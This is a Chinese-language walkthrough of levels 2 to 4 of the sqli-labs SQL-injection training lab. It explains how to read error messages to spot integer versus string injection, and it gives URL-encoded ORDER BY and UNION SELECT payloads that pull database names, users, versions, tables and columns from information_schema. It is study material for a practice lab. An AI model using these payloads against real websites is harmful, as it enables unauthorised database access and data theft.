第二关：
sqli-labs的第二关是有报错信息的int类型的sql注入，输入id=1'后也会报错，如下图
可以看到报错信息种显示的是'' limit 0,1' 这处有错，其中前后两个单引符号是报错信息自己加上去的，所以真正在sql语句的字符串是 'limit 0,1 是可以看出来该处是个int类型的sql注入（如果是string类型的注入，报错一般是 ''1'' limit 0,1'。当然判断注入的类型也可以通过在后面加 and 1=1 以及 ' and '1'='1）
操作步骤和第一关类似
第一步：通过order by来判断表的列数
id=1%20order%20by%203%23
id=1%20order%20by%204%23
第二步：查看数据库名，当前用户，数据库版本
id=-1%20union%20select%201,group_concat(schema_name),concat_ws(':',user(),version(),database())%20from%20information_schema.schemata%23
后面和第一关一样。。。。
第三关：其实实际测试过程种，我们是不知道后台sql语句到底是怎样了，如果又报错信息就很好判断了
第三关中输入id=1' 页面报错信息如下：
这里我们还是将前后得'去除掉，sql语句片段是'1'') limit 0,1
可以看出这里是个string类型得注入，并且后台种带有括号，这里推测后台查询语句应该是select * from tables where id =（ '***') limit 0,1
现在再来看下实际得sql语句
ok,我们还是按照之前得流程来
第一步：使用order by来判断表的列数
id=1')%20order%20by%203%20%23 正常
id=1')%20order%20by%204%20%23 报错
第二步：查出所有的数据库名，当前数据库名以及当前用户等信息
id=-1')union%20select%201,group_concat(schema_name),concat_ws(':',user(),version(),database())%20from%20information_schema.schemata%23
第三步：查询出security中所有的表名（注意这里的security需要用引号）
id=-1')union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema='security'%23
第四步：查询出user表中的列名
id=-1')union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name='user'%23
第四关
还是老套路，输入?id=1'，发现并没有报错(和直接输入id=1的页面显示的一样的)
再输入?id=1"，发现报错
根据我们之前分析报错信息的方法很容易看出后台sql的拼凑方法，只不过是将第三关的单引符号改为了双引符号。
后面的就不继续了，直接下一关吧。。。。